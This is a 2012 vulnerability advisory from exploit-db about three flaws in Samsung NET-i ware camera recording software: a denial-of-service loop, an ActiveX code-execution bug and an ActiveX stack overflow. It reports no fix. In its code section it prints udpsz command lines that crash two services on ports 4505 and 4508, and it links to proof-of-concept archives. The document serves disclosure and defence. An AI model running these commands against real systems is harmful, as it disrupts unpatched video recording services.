Samsung NET-i ware 1.37 – Multiple Vulnerabilities

  • 作者： Luigi Auriemma
    日期： 2012-04-22
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/18765/
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 Luigi Auriemma

Application:Samsung NET-i ware
http://www.samsungsecurity.com/product/product_view.asp?idx=6447
http://www.samsungsecurity.com/product/product_view.asp?idx=5828
Versions: <= 1.37
Platforms:Windows
Bugs: A] Endless loop in remote services
B] Code execution in ConnectDDNS ActiveX
C] Stack overflow in BackupToAvi ActiveX
Exploitation: remote
Date: 21 Apr 2012
Author: Luigi Auriemma
e-mail: aluigi@autistici.org
web:aluigi.org


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1) Introduction
2) Bugs
3) The Code
4) Fix


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===============
1) Introduction
===============


"Recording software for Samsung network cameras".


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2) Bugs
=======


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A] Endless loop in remote services
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All the NET-i ware services are affected by an endless loop caused by
the wrong handling of negative 32bit size fields.


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B] Code execution in ConnectDDNS ActiveX
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Code execution vulnerability in the ConnectDDNS method used by the
following ActiveX components:
- EEDBA32E-5C2D-48f1-A58E-0AAB0BC230E3
- 17A7F731-C9EC-461C-B813-2F42A1BB58EB

10022F80 8B02 MOV EAX,DWORD PTR DS:[EDX]
10022F82 8B4D E8MOV ECX,DWORD PTR SS:[EBP-18]
10022F85 FF10 CALL DWORD PTR DS:[EAX]

The bug is not much reliable to replicate so I report it just for
reference.
No additional research performed.


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C] Stack overflow in BackupToAvi ActiveX
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Stack overflow in the BackupToAvi method used by the ActiveX components
3D6F2DBA-F4E5-40A6-8725-E99BC96CC23A and
208650B1-3CA1-4406-926D-45F2DBB9C299.


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===========
3) The Code
===========


A]
http://aluigi.org/testz/udpsz.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18112.zip

NiwMasterService:
udpsz -b 0x80 -T SERVER 4505 0x28

NiwStorageService:
udpsz -T -c "REM" 0 -C 80808080 0x10 SERVER 4508 0x14

B,C]
http://aluigi.org/poc/netiware_1b.zip


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4) Fix
======


No fix.


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